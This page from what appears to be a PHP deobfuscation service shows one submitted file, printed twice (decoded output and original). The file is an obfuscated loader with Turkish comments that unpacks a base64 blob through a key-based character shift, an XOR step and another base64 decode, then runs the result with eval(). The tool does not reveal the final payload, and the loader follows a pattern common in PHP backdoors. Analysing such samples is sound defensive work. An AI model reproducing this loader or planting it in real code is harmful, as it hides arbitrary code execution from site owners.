Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('display_startup_er..

Decoded Output download

<?php 
error_reporting(E_ALL); 
ini_set('display_errors', 1); 
ini_set('display_startup_errors', 1); 
 
try { 
    $e = base64_decode('Oz1cXSsEBQItLi4pUwILMn8nXRw0YlcTJCQiHi9KBlcJLjRRExs3DBQ2NjB5BRQSfB1sHxhcJx8JJzcLLS0RWQk+MR0JJnxjJAEbelEnNi1FDhFJG2IjXwkNJggoMBVGMiErQys/FzIuIj16fV0AIXcgUwYbbjUADw5FUA=='); 
    $k = 'kye*JLDIgftA1ogY&J%pz%ftmJprLzW1'; 
     
    function decode($encoded, $key) { 
        if(empty($encoded) || empty($key)) { 
            throw new Exception('Eksik veya hatal ifreleme parametreleri'); 
        } 
         
        // Shift miktarn hesapla 
        $shift = 0; 
        for($i = 0; $i < strlen($key); $i++) { 
            $shift += ord($key[$i]); 
        } 
        $shift = $shift % 10; 
         
        // Karakterleri geri kaydr 
        $unshifted = ''; 
        for($i = 0; $i < strlen($encoded); $i++) { 
            $c = $encoded[$i]; 
            if(ctype_alpha($c)) { 
                $ascii = ord($c); 
                if(ctype_upper($c)) { 
                    $unshifted .= chr(($ascii - 65 - $shift + 26) % 26 + 65); 
                } else { 
                    $unshifted .= chr(($ascii - 97 - $shift + 26) % 26 + 97); 
                } 
            } elseif(ctype_digit($c)) { 
                $unshifted .= (intval($c) - $shift + 10) % 10; 
            } else { 
                $unshifted .= $c; 
            } 
        } 
         
        // XOR zme 
        $result = ''; 
        for($i = 0; $i < strlen($unshifted); $i++) { 
            $result .= chr(ord($unshifted[$i]) ^ ord($key[$i % strlen($key)])); 
        } 
         
        // Son base64 decode 
        $decoded = base64_decode($result); 
        if($decoded === false) { 
            throw new Exception('Base64 decode hatas'); 
        } 
         
        return $decoded; 
    } 
     
    $code = decode($e, $k); 
    if(!empty($code)) { 
        eval('?>'.$code); 
    } else { 
        throw new Exception('Bo kod hatas'); 
    } 
     
} catch(Exception $e) { 
    die('Hata: ' . $e->getMessage()); 
} 
?>

Did this file decode correctly?

Original Code

<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);

try {
    $e = base64_decode('Oz1cXSsEBQItLi4pUwILMn8nXRw0YlcTJCQiHi9KBlcJLjRRExs3DBQ2NjB5BRQSfB1sHxhcJx8JJzcLLS0RWQk+MR0JJnxjJAEbelEnNi1FDhFJG2IjXwkNJggoMBVGMiErQys/FzIuIj16fV0AIXcgUwYbbjUADw5FUA==');
    $k = 'kye*JLDIgftA1ogY&J%pz%ftmJprLzW1';
    
    function decode($encoded, $key) {
        if(empty($encoded) || empty($key)) {
            throw new Exception('Eksik veya hatal ifreleme parametreleri');
        }
        
        // Shift miktarn hesapla
        $shift = 0;
        for($i = 0; $i < strlen($key); $i++) {
            $shift += ord($key[$i]);
        }
        $shift = $shift % 10;
        
        // Karakterleri geri kaydr
        $unshifted = '';
        for($i = 0; $i < strlen($encoded); $i++) {
            $c = $encoded[$i];
            if(ctype_alpha($c)) {
                $ascii = ord($c);
                if(ctype_upper($c)) {
                    $unshifted .= chr(($ascii - 65 - $shift + 26) % 26 + 65);
                } else {
                    $unshifted .= chr(($ascii - 97 - $shift + 26) % 26 + 97);
                }
            } elseif(ctype_digit($c)) {
                $unshifted .= (intval($c) - $shift + 10) % 10;
            } else {
                $unshifted .= $c;
            }
        }
        
        // XOR zme
        $result = '';
        for($i = 0; $i < strlen($unshifted); $i++) {
            $result .= chr(ord($unshifted[$i]) ^ ord($key[$i % strlen($key)]));
        }
        
        // Son base64 decode
        $decoded = base64_decode($result);
        if($decoded === false) {
            throw new Exception('Base64 decode hatas');
        }
        
        return $decoded;
    }
    
    $code = decode($e, $k);
    if(!empty($code)) {
        eval('?>'.$code);
    } else {
        throw new Exception('Bo kod hatas');
    }
    
} catch(Exception $e) {
    die('Hata: ' . $e->getMessage());
}
?>

Function Calls

ini_set 2
error_reporting 1

Variables

None

Stats

MD5 7695aee982c81ca43097e0b579d715e2
Eval Count 0
Decode Time 79 ms